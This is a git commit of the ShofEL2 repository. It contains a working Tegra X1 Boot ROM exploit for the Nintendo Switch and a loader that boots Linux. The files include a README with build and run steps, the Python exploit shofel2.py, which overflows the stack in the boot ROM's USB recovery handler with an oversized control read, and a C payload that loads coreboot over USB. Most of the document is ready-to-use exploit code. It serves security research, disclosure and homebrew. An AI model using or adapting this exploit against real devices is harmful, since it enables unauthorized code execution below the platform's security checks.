Initial commit

This commit is contained in:
fail0verflow 2018-04-24 02:42:08 +09:00
commit ace813d3da
25 changed files with 4293 additions and 0 deletions

27
LICENSE Normal file
View File

@ -0,0 +1,27 @@
// Copyright (c) 2018 Team fail0verflow. All rights reserved.
//
// Redistribution and use in source and binary forms, with or without
// modification, are permitted provided that the following conditions are
// met:
//
// * Redistributions of source code must retain the above copyright
// notice, this list of conditions and the following disclaimer.
// * Redistributions in binary form must reproduce the above
// copyright notice, this list of conditions and the following disclaimer
// in the documentation and/or other materials provided with the
// distribution.
// * Neither the name of fail0verflow nor the names of its
// contributors may be used to endorse or promote products derived from
// this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

72
README.md Normal file
View File

@ -0,0 +1,72 @@
# ShofEL2
A misleadingly-named Tegra X1 Boot ROM exploit and Nintendo Switch Linux loader.
## Obligatory disclaimer
If your Switch catches fire or turns into an Ouya, it's not our fault. It's
stupidly easy to blow up embedded platforms like this with bad software (e.g.
all voltages are software-controlled). We already caused temporary damage to one
LCD panel with bad power sequencing code. Seriously, do not complain if
something goes wrong.
On the other hand, this exploit probably works on the Ouya...
## Usage
You need arm-linux-gnueabi and aarch64-linux-gnu toolchains.
Clone everything:
$ git clone https://github.com/fail0verflow/shofel2.git
$ git clone --recursive https://github.com/fail0verflow/switch-coreboot.git coreboot
$ git clone https://github.com/fail0verflow/switch-u-boot.git u-boot
$ git clone https://github.com/fail0verflow/switch-linux.git linux
$ git clone https://github.com/boundarydevices/imx_usb_loader.git
Build the cbfs loader:
$ cd shofel2/exploit
$ make
Build u-boot:
$ cd u-boot
$ export CROSS_COMPILE=aarch64-linux-gnu-
$ make nintendo-switch_defconfig
$ make
Build coreboot:
$ cd coreboot
$ make nintendo_switch_defconfig
$ make iasl
$ make
Build imx_usb_loader:
$ cd imx_usb_loader
$ make
Build Linux:
$ cd linux
$ export ARCH=arm64
$ export CROSS_COMPILE=aarch64-linux-gnu-
$ make nintendo-switch_defconfig
$ make
Run the exploit
$ cd shofel2/exploit
$ ./shofel2.py cbfs.bin ../../coreboot/build/coreboot.rom
Build the u-boot script and run it
$ cd shofel2/usb_loader
$ ../../u-boot/tools/mkimage -A arm64 -T script -C none -n "boot.scr" -d switch.scr switch.scr.img
$ ../../imx_usb_loader/imx_usb -c .
If all went well, you should have some penguins. You should probably put a root
filesystem on your SD card. Arch Linux ARM provides ready-made rootfs tarballs
that you should totally use. Userspace libraries and other patches coming soon.

7
exploit/.gitignore vendored Normal file
View File

@ -0,0 +1,7 @@
*.bin
*.elf
obj/*
!obj/.keep
*.d
*.idb
.*.swp

View File

@ -0,0 +1,27 @@
// Copyright (c) 2010 The Chromium OS Authors. All rights reserved.
//
// Redistribution and use in source and binary forms, with or without
// modification, are permitted provided that the following conditions are
// met:
//
// * Redistributions of source code must retain the above copyright
// notice, this list of conditions and the following disclaimer.
// * Redistributions in binary form must reproduce the above
// copyright notice, this list of conditions and the following disclaimer
// in the documentation and/or other materials provided with the
// distribution.
// * Neither the name of Google Inc. nor the names of its
// contributors may be used to endorse or promote products derived from
// this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.

36
exploit/Makefile Normal file
View File

@ -0,0 +1,36 @@
TOOLCHAIN ?= arm-linux-gnueabi-
CC = $(TOOLCHAIN)gcc
AS = $(TOOLCHAIN)as
OBJCOPY = $(TOOLCHAIN)objcopy
CFLAGS := -march=armv4t -mthumb -Wall -Werror -Os -MMD -ffreestanding \
-fno-common -fomit-frame-pointer -nostdlib -fno-builtin-printf \
-fno-asynchronous-unwind-tables -fPIE -fno-builtin -fno-exceptions \
-Wl,--no-dynamic-linker,--build-id=none,-T,romhax.ld
CXXFLAGS := $(CFLAGS) -std=gnu++14
CFLAGS += -std=gnu11
# shameless copypasta from https://stackoverflow.com/a/2908351/375416
C_FILES := $(wildcard *.c)
S_FILES := $(wildcard *.S)
OBJ_FILES := $(addprefix obj/,$(notdir $(C_FILES:.c=.o)))
OBJ_FILES += $(addprefix obj/,$(notdir $(S_FILES:.S=.o)))
-include $(OBJFILES:.o=.d)
all: cbfs.bin
obj/%.o: %.c
$(CC) $(CFLAGS) -c -o $@ $<
obj/%.o: %.S
$(AS) -c -o $@ $<
%.bin: %.elf
$(OBJCOPY) -O binary $< $@
cbfs.elf: obj/cbfs.o obj/common.o obj/vsprintf.o obj/idiv.o obj/idivmod.o obj/thumb_case.o
$(CC) $(CFLAGS) -o $@ $^
clean:
rm -f $(OBJ_FILES)
rm -f cbfs.bin cbfs.elf

147
exploit/cbfs.c Normal file
View File

@ -0,0 +1,147 @@
#include "common.h"
#include "vsprintf.h"
extern u32 __romhax_start;
extern u32 __bss_start;
extern u32 __bss_end;
extern u32 __got_start;
extern u32 __got_end;
extern u32 __romhax_end;
typedef void (*ep_t)(void);
typedef struct {
char is_usb3;
char init_hw_done;
char init_proto_done;
char unk0;
int (*init_hw)(void);
int (*init_proto)(void);
void *ep1_out;
void *ep1_out_get_len_proc_ep0;
void (*ep1_out_imm)(void *buffer, u32 size, u32 *num_xfer);
void *ep1_in;
void *ep1_in_get_len_proc_ep0;
int (*ep1_in_imm)(void *buffer, u32 size, u32 *num_xfer);
void *ep0_stall;
} rcm_transport_t;
static const rcm_transport_t *rcm_transport = (rcm_transport_t *)0x40003114;
static u32 rom_recvbuf(void *buffer, u32 size) {
u32 num_xfer;
rcm_transport->ep1_out_imm(buffer, size, &num_xfer);
return num_xfer;
}
static u32 rom_sendbuf(void *buffer, u32 size) {
u32 num_xfer;
rcm_transport->ep1_in_imm(buffer, size, &num_xfer);
return num_xfer;
}
static u32 recv_to(void *addr, u32 size)
{
const u32 chunk_max = 1024;
u32 left = size, chunk;
while (left > 0) {
chunk = left;
if (chunk > chunk_max)
chunk = chunk_max;
chunk = rom_recvbuf(addr, chunk);
addr += chunk;
left -= chunk;
}
return size - left;
}
int printf(const char* fmt, ...) {
char buffer[512];
va_list args;
int i;
va_start(args, fmt);
i = vsprintf(buffer, fmt, args);
va_end(args);
return rom_sendbuf(buffer, i);
}
#define PMC_BASE 0x7000e400
#define PMC_CNTRL 0x000
#define PMC_CNTRL_MAIN_RST (1 << 4)
#define PMC_SCRATCH0 0x050
#define PMC_SCRATCH0_MODE_RCM (1 << 1)
static void enterrcm() {
or32(PMC_BASE + PMC_SCRATCH0, PMC_SCRATCH0_MODE_RCM);
or32(PMC_BASE + PMC_CNTRL, PMC_CNTRL_MAIN_RST);
}
#define UINT32TOBUF(b, o, val) \
do { \
b[o + 0] = (val >> 24) & 0xff; \
b[o + 1] = (val >> 16) & 0xff; \
b[o + 2] = (val >> 8) & 0xff; \
b[o + 3] = val & 0xff; \
} while (0);
static void _main() {
/* see coreboot's src/mainboard/nintendo/switch/memlayout.ld */
const u32 len = 28 * 1024;
const u32 addr = 0x40010000;
char buffer[8];
ep_t ep;
printf("CBFS\n");
UINT32TOBUF(buffer, 0, 0)
UINT32TOBUF(buffer, 4, len)
rom_sendbuf(buffer, 8);
recv_to((void *)addr, len);
ep = (ep_t)addr;
ep();
enterrcm();
}
__attribute__((section(".init")))
void relocator_stub() {
/* Warning: at this point, the GOT is not relocated yet. This means all
* the linker script defined symbols (__romhax_start, etc.) are
* relative to the current module base. Since this function is
* guaranteed to be the first thing emitted, we use its address as the
* module base. */
/* Relocate to end of IRAM. */
u32 IRAM_END = 0x40040000;
u32 romhax_size = (((u32)&__romhax_end - (u32)&__romhax_start) + 3) & ~0x3;
u8* new_base = (u8*)(IRAM_END - romhax_size);
u8* curr_base = (u8*)relocator_stub - 1; /* Thumb adjustment. */
ep_t ep;
memcpy(new_base, curr_base, romhax_size);
/* Clear BSS. */
u8* bss_start = new_base + (u32)&__bss_start;
u8* bss_end = new_base + (u32)&__bss_end;
while (bss_start < bss_end) *bss_start++ = 0;
/* Relocate the GOT. */
u32* got_start = (u32*)(new_base + (u32)&__got_start);
u32* got_end = (u32*)(new_base + (u32)&__got_end);
while (got_start < got_end) *got_start++ += (u32)new_base;
/* Jump to entry point ("_main") at relocated payload. */
ep = (ep_t)(new_base + ((u32)_main - (u32)curr_base));
ep();
}

23
exploit/common.c Normal file
View File

@ -0,0 +1,23 @@
#include "common.h"
void *memset(void *b, int c, size_t len) {
for (size_t i = 0; i < len; i++) {
((u8 *)b)[i] = c;
}
return b;
}
void *memcpy(void *dst, const void *src, size_t len) {
for (size_t i = 0; i < len; i++) {
((u8 *)dst)[i] = ((u8 *)src)[i];
}
return dst;
}
size_t strlen(const char *str) {
const char *p = str;
while (*p != '\0') {
p++;
}
return p - str;
}

104
exploit/common.h Normal file
View File

@ -0,0 +1,104 @@
#pragma once
typedef signed char s8;
typedef signed short s16;
typedef signed int s32;
typedef signed long long s64;
typedef unsigned char u8;
typedef unsigned short u16;
typedef unsigned int u32;
typedef unsigned long long u64;
typedef volatile u8 vu8;
typedef volatile u16 vu16;
typedef volatile u32 vu32;
typedef volatile u64 vu64;
typedef u32 size_t;
typedef u32 uintptr_t;
#define NULL ((void*)0)
#define CAT_(x, y) x ## y
#define CAT(x, y) CAT_(x, y)
#define OPAD(size) u8 CAT(_pad_, __COUNTER__)[size]
#define OSTRUCT(name, size) struct name { union { OPAD(size);
#define OSTRUCT_END };};
#define OFIELD(off, field) struct { OPAD(off); field; }
#define ARRAY_SIZE(a) (sizeof(a) / sizeof(*a))
#define MIN(x,y) (((x) > (y)) ? (y) : (x))
#define DC_BASE 0x54200000
#define DSI_BASE 0x54300000
#define CLK_RST_BASE 0x60006000
#define MIPI_CAL_BASE 0x700E3000
#define SDHC_REG_BASE 0x700B0600
#define DC_CMD_STATE_ACCESS 0x54200100
#define DC_CMD_STATE_CONTROL 0x54200104
#define DC_DISP_BLEND_BACKGROUND_COLOR 0x54201390
#define DC_A_WIN_AD_WIN_OPTIONS 0x54202E00
#define DC_B_WIN_BD_WIN_OPTIONS 0x54203600
#define DC_C_WIN_CD_WIN_OPTIONS 0x54203E00
#define DSI_DSI_RD_DATA 0x54300024
#define DSI_DSI_WR_DATA 0x54300028
#define DSI_DSI_POWER_CONTROL 0x5430002C
#define DSI_HOST_DSI_CONTROL 0x5430003C
#define DSI_DSI_TRIGGER 0x5430004C
#define DSI_DSI_BTA_TIMING 0x543000FC
#define DSI_PAD_CONTROL 0x5430012C
#define DSI_DSI_VID_MODE_CONTROL 0x54300138
#define TIMERUS_CNTR_1US 0x60005010
#define GPIO_V_CNF 0x6000D504
#define GPIO_V_OE 0x6000D514
#define GPIO_V_OUT 0x6000D524
static inline u32 read32(uintptr_t addr) {
return *(vu32 *)addr;
}
static inline void write32(uintptr_t addr, u32 val) {
*(vu32 *)addr = val;
}
static inline void or32(uintptr_t addr, u32 val) {
write32(addr, read32(addr) | val);
}
static inline void or32_masked(uintptr_t addr, u32 mask, u32 val) {
write32(addr, (read32(addr) & ~mask) | val);
}
#define mask32 or32_masked
static inline void unset_bits(uintptr_t addr, u32 val) {
write32(addr, read32(addr) & ~val);
}
static inline u32 get_ticks() {
return read32(TIMERUS_CNTR_1US);
}
static inline void udelay(u32 usecs) {
u32 start, now;
start = now = get_ticks();
while (now - start <= usecs) {
now = get_ticks();
}
}
void *memset(void *b, int c, size_t len);
void *memcpy(void *dst, const void *src, size_t len);
size_t strlen(const char *str);
#define INT_MAX ((int)0x7fffffff)
#define UINT_MAX ((unsigned int)0xffffffff)
#define LONG_MAX INT_MAX
#define ULONG_MAX UINT_MAX
#define LLONG_MAX ((long long)0x7fffffffffffffff)
#define ULLONG_MAX ((unsigned long long)0xffffffffffffffff)

66
exploit/idiv.S Normal file
View File

@ -0,0 +1,66 @@
/* Runtime ABI for the ARM Cortex-M0
* idiv.S: signed 32 bit division (only quotient)
*
* Copyright (c) 2012-2017 Jörg Mische <bobbl@gmx.de>
*
* Permission to use, copy, modify, and/or distribute this software for any
* purpose with or without fee is hereby granted, provided that the above
* copyright notice and this permission notice appear in all copies.
*
* THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
* WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
* ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
* WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
* ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT
* OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
*/
.syntax unified
.text
.thumb
.cpu cortex-m0
@ int __divsi3(int num, int denom)
@
@ libgcc wrapper: just an alias for __aeabi_idivmod(), the remainder is ignored
@
.thumb_func
.global __divsi3
__divsi3:
@ int __aeabi_idiv(int num:r0, int denom:r1)
@
@ Divide r0 by r1 and return quotient in r0 (all signed).
@ Use __aeabi_uidivmod() but check signs before and change signs afterwards.
@
.thumb_func
.global __aeabi_idiv
__aeabi_idiv:
cmp r0, #0
bge .Lnumerator_pos
rsbs r0, r0, #0 @ num = -num
cmp r1, #0
bge .Lneg_result
rsbs r1, r1, #0 @ den = -den
.Luidivmod:
b __aeabi_uidivmod
.Lnumerator_pos:
cmp r1, #0
bge .Luidivmod
rsbs r1, r1, #0 @ den = -den
.Lneg_result:
push {lr}
bl __aeabi_uidivmod
rsbs r0, r0, #0 @ quot = -quot
pop {pc}

155
exploit/idivmod.S Normal file
View File

@ -0,0 +1,155 @@
/* Runtime ABI for the ARM Cortex-M0
* idivmod.S: signed 32 bit division (quotient and remainder)
*
* Copyright (c) 2012 Jörg Mische <bobbl@gmx.de>
*
* Permission to use, copy, modify, and/or distribute this software for any
* purpose with or without fee is hereby granted, provided that the above
* copyright notice and this permission notice appear in all copies.
*
* THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
* WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
* ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
* WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
* ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT
* OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
*/
.syntax unified
.text
.thumb
.cpu cortex-m0
@ {int quotient:r0, int remainder:r1}
@ __aeabi_idivmod(int numerator:r0, int denominator:r1)
@
@ Divide r0 by r1 and return the quotient in r0 and the remainder in r1
@
.thumb_func
.global __aeabi_idivmod
__aeabi_idivmod:
cmp r0, #0
bge .Lnumerator_pos
rsbs r0, r0, #0 @ num = -num
cmp r1, #0
bge .Lboth_neg
rsbs r1, r1, #0 @ den = -den
push {lr}
bl __aeabi_uidivmod
rsbs r1, r1, #0 @ rem = -rem
pop {pc}
.Lboth_neg:
push {lr}
bl __aeabi_uidivmod
rsbs r0, r0, #0 @ quot = -quot
rsbs r1, r1, #0 @ rem = -rem
pop {pc}
.Lnumerator_pos:
cmp r1, #0
bge .Luidivmod
rsbs r1, r1, #0 @ den = -den
push {lr}
bl __aeabi_uidivmod
rsbs r0, r0, #0 @ quot = -quot
pop {pc}
@ unsigned __udivsi3(unsigned num, unsigned denom)
@
@ libgcc wrapper: just an alias for __aeabi_uidivmod(), the remainder is ignored
@
.thumb_func
.global __udivsi3
__udivsi3:
@ unsigned __aeabi_uidiv(unsigned num, unsigned denom)
@
@ Just an alias for __aeabi_uidivmod(), the remainder is ignored
@
.thumb_func
.global __aeabi_uidiv
__aeabi_uidiv:
@ {unsigned quotient:r0, unsigned remainder:r1}
@ __aeabi_uidivmod(unsigned numerator:r0, unsigned denominator:r1)
@
@ Divide r0 by r1 and return the quotient in r0 and the remainder in r1
@
.thumb_func
.global __aeabi_uidivmod
__aeabi_uidivmod:
.Luidivmod:
cmp r1, #0
bne 1f
b __aeabi_idiv0
1:
@ Shift left the denominator until it is greater than the numerator
movs r2, #1 @ counter
movs r3, #0 @ result
cmp r0, r1
bls .Lsub_loop
adds r1, #0 @ dont shift if denominator would overflow
bmi .Lsub_loop
.Ldenom_shift_loop:
lsls r2, #1
lsls r1, #1
bmi .Lsub_loop
cmp r0, r1
bhi .Ldenom_shift_loop
.Lsub_loop:
cmp r0, r1
bcc .Ldont_sub @ if (num>denom)
subs r0, r1 @ numerator -= denom
orrs r3, r2 @ result(r3) |= bitmask(r2)
.Ldont_sub:
lsrs r1, #1 @ denom(r1) >>= 1
lsrs r2, #1 @ bitmask(r2) >>= 1
bne .Lsub_loop
mov r1, r0 @ remainder(r1) = numerator(r0)
mov r0, r3 @ quotient(r0) = result(r3)
bx lr
@ int __aeabi_idiv0(int r)
@
@ Handler for 32 bit division by zero
@
.thumb_func
.global __aeabi_idiv0
__aeabi_idiv0:
@ long long __aeabi_ldiv0(long long r)
@
@ Handler for 64 bit division by zero
@
.thumb_func
.global __aeabi_ldiv0
__aeabi_ldiv0:
bx lr

0
exploit/obj/.keep Normal file
View File

18
exploit/romhax.ld Normal file
View File

@ -0,0 +1,18 @@
SECTIONS {
/* We don't do GOT relocation and rely on nothing ending up using the GOT
* (-fno-common helps here) */
/DISCARD/ : { *(.comment) }
__romhax_start = .;
.init : { *(.init) *(.init.*) }
.text : { *(.text) *(.text.*) }
.data : { *(.data) *(.data.*) }
.rodata : { *(.rodata) *(.rodata.*) *(.got) }
__got_start = .;
.got : { *(.got) }
__got_end = .;
__bss_start = .;
.bss : { *(.bss) *(.bss.*) *(COMMON)}
__bss_end = .;
__romhax_end = .;
.footer : { LONG(0xdeadbeef) } /* make sure .bss is padded out */
}

247
exploit/shofel2.py Executable file
View File

@ -0,0 +1,247 @@
#!/usr/bin/env python3
# shofEL2 nintendo switch (and related) cold boot exploit
#------------------------------------------------------------------------------
# Switch will enter RCM if (PMC_SCRATCH0 & 2) is set, or if coldboot path
# fails to find something to boot. So just disconnect/corrupt emmc during
# early boot.
import usb.core
import usb.util
import errno
import time
import binascii
import struct
import sys
import os
import hashlib
import ctypes
import fcntl
USBDEVFS_URB_TYPE_CONTROL = 2
USBDEVFS_SUBMITURB = 0x8038550a
USBDEVFS_REAPURB = 0x4008550c
USBDEVFS_DISCARDURB = 0x0000550b
def parse32(buf, offset):
return struct.unpack('<L', buf[offset:offset+4])[0]
def wait_for_device(dev_id):
dev = usb.core.find(idVendor=dev_id[0], idProduct=dev_id[1])
while dev is None:
time.sleep(0.1)
dev = usb.core.find(idVendor=dev_id[0], idProduct=dev_id[1])
return dev
# lol
def get_fds():
return set(int(i) for i in os.listdir("/proc/self/fd"))
class RCM:
DEV_ID_JETSON = (0x0955, 0x7721)
DEV_ID_SWITCH = (0x0955, 0x7321)
EP1_OUT = usb.util.ENDPOINT_OUT | 1
EP1_IN = usb.util.ENDPOINT_IN | 1
bl31_addr = 0x80000000
uboot_addr = 0x80110000
kernel_addr = 0x85000000
fdt_addr = 0x8f000000
ramdisk_addr = 0x90000000
def __init__(s):
fds_before = get_fds()
s.dev = wait_for_device(s.DEV_ID_SWITCH)
fds = get_fds() - fds_before
s.fd = sorted(list(fds))[-1]
print("File descriptor: %d" % s.fd)
def ep1_read(s, size): return s.dev.read(s.EP1_IN, size)
def ep1_write(s, data): return s.dev.write(s.EP1_OUT, data)
def read_init_msg(s):
# rcm_send_chip_id_and_version
try:
return s.ep1_read(0x10)
except:
return b''
def ep0_read(s, size):
return s.dev.ctrl_transfer(0x82, 0, 0, 0, size)
def ep0_read_unbounded(s, size):
print("Size: 0x%x\n" % size)
buf = ctypes.create_string_buffer(struct.pack("@BBHHH%dx" % size, 0x82, 0, 0, 0, size))
print(binascii.hexlify(buf[:8]))
urb = ctypes.create_string_buffer(struct.pack("@BBiIPiiiiiIP1024x",
USBDEVFS_URB_TYPE_CONTROL, 0, # type, ep
0, 0, # status, flags
ctypes.addressof(buf), len(buf), 0, # buf, len, actual
0, 0, 0, 0, 0xf0f))
print(binascii.hexlify(urb[:-1024]))
print("URB address: 0x%x" % ctypes.addressof(urb))
fcntl.ioctl(s.fd, USBDEVFS_SUBMITURB, urb)
time.sleep(0.1)
fcntl.ioctl(s.fd, USBDEVFS_DISCARDURB, urb)
purb = ctypes.c_void_p()
fcntl.ioctl(s.fd, USBDEVFS_REAPURB, purb)
if purb.value != ctypes.addressof(urb):
print("Reaped the wrong URB! addr 0x%x != 0x%x" % (
purb.value, ctypes.addressof(urb)))
_, _, status, _, _, _, _, _, _, _, _, ctx = struct.unpack("@BBiIPiiiiiIP", urb[:56])
print("URB status: %d" % status)
if ctx != 0xf0f:
print("Reaped the wrong URB! ctx=0x%x" % ctx)
def sanity_check(s, src_base, dst_base):
# check the stack and buffers look as expected
buf = s.ep0_read(0x1000)
cur_src = parse32(buf, 0xc)
cur_dst = parse32(buf, 0x14)
#print(binascii.hexlify(buf[:0x20]))
assert cur_src == src_base and cur_dst == dst_base
def binload(s, arg):
try:
data = open(sys.argv[arg], 'rb').read()
except:
data = []
return data
def send(s, name, addr, data):
print('sending %s (%u bytes) @0x%x' % (name, len(data), addr))
s.ep1_write('RECV')
s.ep1_write(struct.pack('>II', addr, len(data)))
while len(data) > 0:
chunk = data[:32*1024]
s.ep1_write(chunk)
data = data[32*1024:]
def cmd(s):
uboot = s.binload(2)
bl31 = s.binload(3)
fdt = s.binload(4)
kernel = s.binload(5)
ep = None
if len(uboot) > 0:
s.send('u-boot', s.uboot_addr, uboot)
ep = s.uboot_addr
if len(bl31) > 0:
s.send('bl31', s.bl31_addr, bl31)
ep = s.bl31_addr
if len(fdt) > 0:
s.send('fdt', s.fdt_addr, fdt)
if len(kernel) > 0:
s.send('kernel', s.kernel_addr, kernel)
print('bootstrapping ccplex @0x%x' % ep)
s.ep1_write('BOOT')
s.ep1_write(struct.pack('>I', ep))
sys.exit(0)
else:
print('exiting')
s.ep1_write('EXIT')
def cbfs(s):
data = s.binload(2)
if len(data) < 20 * 1024:
print('invalid coreboot.rom')
return
while True:
(offset, length) = struct.unpack('>II', s.ep1_read(8))
if offset + length == 0:
print('you have been served')
sys.exit(0)
print('sending 0x%x bytes @0x%x' % (length, offset))
while length > 0:
l = length
if l > 32 * 1024:
l = 32 * 1024
s.ep1_write(data[offset:offset + l])
offset = offset + l
length = length - l
def pwn(s):
# this is sp+0xc
src_base = 0x4000fc84
# memcpy pushes r4,lr
# memcpy_wrapper pushes r0,lr
target = src_base - 0xc - 2 * 4 - 2 * 4
dst_base = 0x40009000
overwrite_len = target - dst_base
payload_base = 0x40010000
# rom is in rcm_send_chip_id_and_version
# unblock it
init_msg = s.read_init_msg()
print(binascii.hexlify(init_msg))
# now in rcm_recv_buf
s.sanity_check(src_base, dst_base)
# need to build payload buffer
# write header
s.ep1_write(struct.pack('<L', 0x30008) + b'\0' * 0x2a4)
# write payload
payload = struct.pack('<L', 0) * 0x1a3a
# payload+0x1a3a*4 = retaddr
# uart boot greeting msg
#payload += struct.pack('<L', 0x11081C|1)
# rcm_send32(garbage in r0)
#payload += struct.pack('<L', 0x1023FC|1)
# rcm_send32(0)
#payload += struct.pack('<L', 0x102716|1)
# return to self
entry = payload_base + len(payload) + 4
entry |= 1
print('entry %x' % (entry))
payload += struct.pack('<L', entry)
try:
payload_filename = sys.argv[1]
except IndexError:
payload_filename = 'inject.bin'
payload += open(payload_filename, 'rb').read()
xfer_len = 0x1000
for i in range(0, len(payload), xfer_len):
s.ep1_write(payload[i:i+xfer_len])
try:
s.sanity_check(src_base, dst_base)
except:
print('throwing more')
s.ep1_write(b'\0' * xfer_len)
# trigger stack overwrite from the payload buf (accessed by reading
# off the end of rcm_xfer_buffers[1])
print("Performing hax...")
s.ep0_read_unbounded(overwrite_len)
tty_mode = True
while tty_mode:
try:
data = s.ep1_read(4096).tostring()
if data == "\xde\xad\xbe\xef":
tty_mode = False
print('>>> Switching to dumping mode...')
else:
#data = data.decode('utf-8')
print(repr(data))
if data.split(b'\n')[0] == b'READY.':
print('>>> Switching to cmd mode...')
s.cmd()
elif data.split(b'\n')[0] == b'CBFS':
print('>>> Switching to cbfs mode...')
s.cbfs()
except usb.core.USBError as e:
if e.errno == errno.ENODEV:
print('usb device lost, reconnecting...')
s.dev = wait_for_device(s.DEV_ID_SWITCH)
else:
time.sleep(0.1)
h = hashlib.sha1()
fp = open('../dump.bin', 'wb')
recvd_size = 0
while True:
data = s.ep1_read(4096).tostring()
if len(data) == 20:
# Last block, SHA1
print('>>> Done! Expected sha1:', data.encode('hex'),
'received:', h.hexdigest())
break
else:
h.update(data)
fp.write(data)
recvd_size += len(data)
if recvd_size % 2**20 == 0:
print(recvd_size / 2**20, 'MiB received')
rcm = RCM()
rcm.pwn()

72
exploit/thumb_case.S Normal file
View File

@ -0,0 +1,72 @@
/* Copyright (c) 2014 The Chromium OS Authors. All rights reserved.
* Use of this source code is governed by a BSD-style license that can be
* found in the LICENSE.chromiumos file.
*
* Thumb mode toolchain helpers for compact switch/case statement.
*/
.text
.syntax unified
.code 16
/*
* Helpers for compact switch
*
* r0: the table index
* lr: the table base address (need to clear bit 0)
*
* r0 and lr must be PRESERVED.
* r12 can be clobbered.
*/
.section .text.__gnu_thumb1_case_uqi
.global __gnu_thumb1_case_uqi
.thumb_func
__gnu_thumb1_case_uqi:
mov r12, r1
mov r1, lr
lsrs r1, r1, #1
lsls r1, r1, #1
ldrb r1, [r1, r0]
lsls r1, r1, #1
add lr, lr, r1
mov r1, r12
bx lr
.section .text.__gnu_thumb1_case_sqi
.global __gnu_thumb1_case_sqi
.thumb_func
__gnu_thumb1_case_sqi:
mov r12, r1
mov r1, lr
lsrs r1, r1, #1
lsls r1, r1, #1
ldrsb r1, [r1, r0]
lsls r1, r1, #1
add lr, lr, r1
mov r1, r12
bx lr
.section .text.__gnu_thumb1_case_uhi
.global __gnu_thumb1_case_uhi
.thumb_func
__gnu_thumb1_case_uhi:
push {r0, r1}
mov r1, lr
lsrs r1, r1, #1
lsls r0, r0, #1
lsls r1, r1, #1
ldrh r1, [r1, r0]
lsls r1, r1, #1
add lr, lr, r1
pop {r0, r1}
bx lr
.section .text.__gnu_thumb1_case_shi
.global __gnu_thumb1_case_shi
.thumb_func
__gnu_thumb1_case_shi:
push {r0, r1}
mov r1, lr
lsrs r1, r1, #1
lsls r0, r0, #1
lsls r1, r1, #1
ldrsh r1, [r1, r0]
lsls r1, r1, #1
add lr, lr, r1
pop {r0, r1}
bx lr

717
exploit/vsprintf.c Normal file
View File

@ -0,0 +1,717 @@
/*
* Copyright (c) 1995 Patrick Powell.
*
* This code is based on code written by Patrick Powell <papowell@astart.com>.
* It may be used for any purpose as long as this notice remains intact on all
* source code distributions.
* Copyright (c) 2008 Holger Weiss.
*
* This version of the code is maintained by Holger Weiss <holger@jhweiss.de>.
* My changes to the code may freely be used, modified and/or redistributed for
* any purpose. It would be nice if additions and fixes to this file (including
* trivial code cleanups) would be sent back in order to let me include them in
* the version available at <http://www.jhweiss.de/software/snprintf.html>.
* However, this is not a requirement for using or redistributing (possibly
* modified) versions of this file, nor is leaving this notice intact mandatory.
*/
/*
* History
*
* 2009-03-05 Hector Martin "marcan" <marcan@marcansoft.com>
*
* Hacked up and removed a lot of stuff including floating-point support,
* a bunch of ifs and defines, locales, and tests
*
* 2008-01-20 Holger Weiss <holger@jhweiss.de> for C99-snprintf 1.1:
*
* Fixed the detection of infinite floating point values on IRIX (and
* possibly other systems) and applied another few minor cleanups.
*
